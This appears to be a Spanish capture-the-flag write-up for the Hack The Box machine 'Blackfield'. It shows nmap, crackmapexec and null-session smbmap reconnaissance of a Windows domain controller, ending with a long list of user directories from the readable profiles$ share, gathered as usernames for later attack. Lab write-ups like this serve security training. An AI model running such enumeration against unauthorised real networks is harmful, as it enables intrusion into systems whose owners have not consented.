# Blackfield \[HARD🟠]

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2Fd7DKH9Lm1R3Pc42NuCTN%2Fimage.png?alt=media&#x26;token=dd0ddfad-6159-46e7-b67b-f8b4ab9f1b73" alt="" width="563"><figcaption><p><a href="https://app.hackthebox.com/machines/255"><code>Blackfield</code></a></p></figcaption></figure>

## 1- Reconocimiento y escaneo

### `1.1 Ping`

```bash
ping -c 1 10.10.10.192
```

```bash
❯ ping -c 1 10.10.10.192
PING 10.10.10.192 (10.10.10.192) 56(84) bytes of data.
64 bytes from 10.10.10.192: icmp_seq=1 ttl=127 time=171 ms

--- 10.10.10.192 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 171.387/171.387/171.387/0.000 ms
```

Podemos notar que se trata de una maquina Windows, debido al TTL:

```
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
```

### `1.2 Nmap`

```bash
nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.192 -oN escaneo.txt
```

```bash
❯ nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.192 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-18 19:14 -03
Stats: 0:01:02 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.91% done; ETC: 19:15 (0:00:00 remaining)
Nmap scan report for 10.10.10.192
Host is up (0.18s latency).
Not shown: 65527 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-19 05:14:39Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-03-19T05:14:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.83 seconds
```

Esta maquina corresponde a un entorno de directorio activo o Active Directory, con un DC

Podemos ver los siguientes `puertos  ---> correspondientes a`:

```
53 -----> Simple DNS Plus(DNS del Domain Controller o DC)
88 -----> Servidor Kerberos para emisión de tickets TGS o TGT
135 -----> Servidor RPC
389 -----> Servidor LDAP para acceder a ciertos recursos en un entono de red
445 -----> Servidor SMB para recursos compartidos dentro de la red
5985 -----> Correspondiente a WinRM para control remoto para usuarios que pertenezcan
al grupo "Remote Management Users"
```

### `1.3 crackmapexec`

```bash
crackmapexec smb 10.10.10.192
```

```bash
❯ crackmapexec smb 10.10.10.192
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
```

El nombre del Domain Controller es DC01, estamos ante un Windows Server 2019, concretamente en su compilación 17763 de 64bits, el DNS del DC es "BLACKFIELD.LOCAL", el servicio SMB se encuentra firmado y no soporta SMBv1, por lo que trabajaremos con SMBv2

Vamos a agregar el dominio del DC al archivo /etc/hosts:

```bash
❯ nvim /etc/hosts
❯ ping blackfield.local
PING blackfield.local (10.10.10.192) 56(84) bytes of data.
64 bytes from blackfield.local (10.10.10.192): icmp_seq=1 ttl=127 time=172 ms
64 bytes from blackfield.local (10.10.10.192): icmp_seq=2 ttl=127 time=171 ms
^C
--- blackfield.local ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 171.236/171.570/171.905/0.334 ms
❯ cat /etc/hosts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: /etc/hosts
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 127.0.0.1   localhost
   2   │ 127.0.1.1   t0mz
   3   │ 
   4   │ # HACK THE BOX
   5   │ 10.10.10.192    blackfield.local
   6   │ 
   7   │ # The following lines are desirable for IPv6 capable hosts
   8   │ ::1     localhost ip6-localhost ip6-loopback
   9   │ ff02::1 ip6-allnodes
  10   │ ff02::2 ip6-allrouters
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

## 2- Explotación

### `2.1 Recurso compartido profiles$`

Vamos a investigar con smbmap que recursos compartidos existen dentro del  servidor SMB que se encuentra en el puerto 445 y tambien listar los permisos sobre cada recurso compartido:

```bash
smbmap -H 10.10.10.192 -u 'null'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'null'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.192:445	Name: blackfield.local    	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	NO ACCESS	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share 
[*] Closed 1 connections
```

Tenemos permisos de lectura sobre el recurso compartido `"profiles$"`, por lo que el mismo nombre lo indica, esto podría ser una vía potencial para conseguir nombres de usuarios del dominio para posteriormente realizar algún ataque

Ahora vamos a listar los directorios que se encuentran dentro de este recurso compartido:

```bash
smbmap -H 10.10.10.192 -u 'null' -r 'profiles$'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'null' -r 'profiles$'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.192:445	Name: blackfield.local    	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	NO ACCESS	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	profiles$                                         	READ ONLY	
	./profiles$
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	.
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	..
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AAlleni
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ABarteski
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ABekesz
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ABenzies
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ABiemiller
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AChampken
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ACheretei
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ACsonaki
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AHigchens
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AJaquemai
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AKlado
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AKoffenburger
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AKollolli
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AKruppe
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AKubale
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ALamerz
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AMaceldon
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AMasalunga
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ANavay
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ANesterova
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ANeusse
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AOkleshen
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	APustulka
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ARotella
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ASanwardeker
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AShadaia
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ASischo
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ASpruce
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ATakach
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ATaueg
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ATwardowski
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	audit2020
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AWangenheim
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AWorsey
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	AZigmunt
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BBakajza
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BBeloucif
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BCarmitcheal
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BConsultant
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BErdossy
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BGeminski
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BLostal
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BMannise
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BNovrotsky
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BRigiero
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BSamkoses
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	BZandonella
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CAcherman
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CAkbari
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CAldhowaihi
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CArgyropolous
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CDufrasne
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CGronk
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	Chiucarello
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	Chiuccariello
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CHoytal
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CKijauskas
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CKolbo
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CMakutenas
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CMorcillo
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CSchandall
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CSelters
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	CTolmie
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DCecere
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DChintalapalli
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DCwilich
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DGarbatiuc
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DKemesies
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DMatuka
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DMedeme
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DMeherek
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DMetych
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DPaskalev
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DPriporov
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DRusanovskaya
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DVellela
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DVogleson
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	DZwinak
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	EBoley
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	EEulau
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EFeatherling
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EFrixione
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EJenorik
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EKmilanovic
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ElKatkowsky
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EmaCaratenuto
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EPalislamovic
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EPryar
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ESachhitello
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ESariotti
	dr--r--r--                0 Wed Jun  3 13:47:11 2020	ETurgano
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	EWojtila
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FAlirezai
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FBaldwind
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FBroj
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FDeblaquire
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FDegeorgio
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FianLaginja
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FLasokowski
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FPflum
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	FReffey
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GaBelithe
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	Gareld
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GBatowski
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GForshalger
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GGomane
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GHisek
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GMaroufkhani
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GMerewether
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GQuinniey
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GRoswurm
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	GWiegard
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	HBlaziewske
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	HColantino
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	HConforto
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	HCunnally
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	HGougen
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	HKostova
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	IChristijr
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	IKoledo
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	IKotecky
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ISantosi
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JAngvall
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JBehmoiras
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JDanten
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JDjouka
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JKondziola
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JLeytushsenior
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JLuthner
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JMoorehendrickson
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JPistachio
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JScima
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JSebaali
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JShoenherr
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	JShuselvt
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KAmavisca
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KAtolikian
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KBrokinn
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KCockeril
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KColtart
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KCyster
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KDorney
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KKoesno
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KLangfur
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KMahalik
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KMasloch
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KMibach
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KParvankova
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KPregnolato
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KRasmor
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KShievitz
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KSojdelius
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KTambourgi
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KVlahopoulos
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	KZyballa
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LBajewsky
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LBaligand
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LBarhamand
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LBirer
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LBobelis
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LChippel
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LChoffin
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LCominelli
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LDruge
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LEzepek
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LHyungkim
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LKarabag
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LKirousis
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LKnade
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LKrioua
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LLefebvre
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LLoeradeavilez
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LMichoud
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LTindall
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	LYturbe
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MArcynski
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MAthilakshmi
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MAttravanam
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MBrambini
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MHatziantoniou
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MHoerauf
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MKermarrec
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MKillberg
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MLapesh
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MMakhsous
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MMerezio
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MNaciri
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MShanmugarajah
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MSichkar
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MTemko
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MTipirneni
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MTonuri
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	MVanarsdel
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NBellibas
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NDikoka
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NGenevro
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NGoddanti
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NMrdirk
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NPulido
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NRonges
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NSchepkie
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	NVanpraet
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	OBelghazi
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	OBushey
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	OHardybala
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	OLunas
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ORbabka
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PBourrat
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PBozzelle
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PBranti
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PCapperella
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PCurtz
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PDoreste
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PGegnas
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PMasulla
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PMendlinger
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PParakat
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PProvencer
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PTesik
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PVinkovich
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PVirding
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	PWeinkaus
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RBaliukonis
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RBochare
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RKrnjaic
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RNemnich
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RPoretsky
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RStuehringer
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RSzewczuga
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RVallandas
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RWeatherl
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	RWissor
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SAbdulagatov
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SAjowi
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SAlguwaihes
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SBonaparte
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SBouzane
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SChatin
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SDellabitta
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SDhodapkar
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SEulert
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SFadrigalan
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SGolds
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SGrifasi
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SGtlinas
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SHauht
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SHederian
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SHelregel
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SKrulig
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SLewrie
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SMaskil
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	Smocker
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SMoyta
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SRaustiala
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SReppond
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SSicliano
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SSilex
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SSolsbak
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	STousignaut
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	support
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	svc_backup
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SWhyte
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	SWynigear
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TAwaysheh
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TBadenbach
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TCaffo
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TCassalom
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TEiselt
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TFerencdo
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TGaleazza
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TKauten
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TKnupke
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TLintlop
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TMusselli
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TOust
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TSlupka
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TStausland
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	TZumpella
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	UCrofskey
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	UMarylebone
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	UPyrke
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VBublavy
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VButziger
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VFuscca
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VLitschauer
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VMamchuk
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VMarija
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VOlaosun
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	VPapalouca
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	WSaldat
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	WVerzhbytska
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	WZelazny
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	XBemelen
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	XDadant
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	XDebes
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	XKonegni
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	XRykiel
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YBleasdale
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YHuftalin
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YKivlen
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YKozlicki
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YNyirenda
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YPredestin
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YSeturino
